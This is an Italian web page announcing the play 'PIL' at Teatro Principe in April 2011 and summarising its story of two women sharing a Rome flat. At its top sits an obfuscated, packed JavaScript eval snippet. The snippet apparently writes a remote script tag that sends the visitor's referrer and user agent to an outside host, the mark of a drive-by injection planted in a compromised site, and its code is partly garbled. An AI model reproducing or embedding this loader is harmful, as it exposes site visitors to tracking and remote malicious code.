



La eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!".replace(/~/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]};e=function(){return'w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('b'+e(c)+'b','g'),k[c])}}return p}('0.6(");n m="q";',30,30,'document||javascript|encodeURIComponent|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|script|dsszs|var|u0026u|referrer|kfenn||js|php'.split('|'),0,{}))

28 aprile 2011 h.21:00

Teatro Principe

Lo spettacolo s'intitola **PIL** ma non tratta di economia, **il prodotto interno lordo** si riferisce alle discariche abusive del cuore, ai rifiuti tossici della mente, agli inceneritori della ragione, ai termovalorizzatori di una morale che non esiste più o che forse chissà non esiste ancora, tutta l'immondizia che siamo e che non riusciamo a smaltire: ogni giorno produciamo interi camion di preoccupazioni di angosce paure speranze malriposte, di allegria che svanisce subito, di risate che non attecchiscono, di slanci che vanno a vuoto. Questa ironica idea del prodotto interno che è lordo, e che diventa rifiuto da smaltire, si incarna nella storia di due giovani donne, Sylvia e Lulù, due estranee costrette a condividere un piccolo appartamento a Roma. Le difficoltà economiche amplificano le difficoltà di convivenza. E le due donne si trovano in un perenne conflitto che crea dipendenza. E che scivola nel rapporto archetipico tra madre e figlia.

Lulù-mamma e Sylvia-figlia non riescono a distaccarsi, ma continuano a restare nel piccolo appartamento producendo i rifiuti dell'anima che non si possono smaltire.

Il testo, scritto dal drammaturgo e filosofo Pier Paolo Fiorini, è adatto a tutte le età. Diverte e inquieta. Una buona prospettiva per il teatro d'oggi.

Lo spettacolo dura circa 70 minuti, e prevede la presenza dell'Autore e del Regista che commentano come fantasmi nel buio l'andamento del dramma.

La scenografia è ridotta al minimo, la colonna sonora è un suggestivo intreccio di dissonanze e melodie.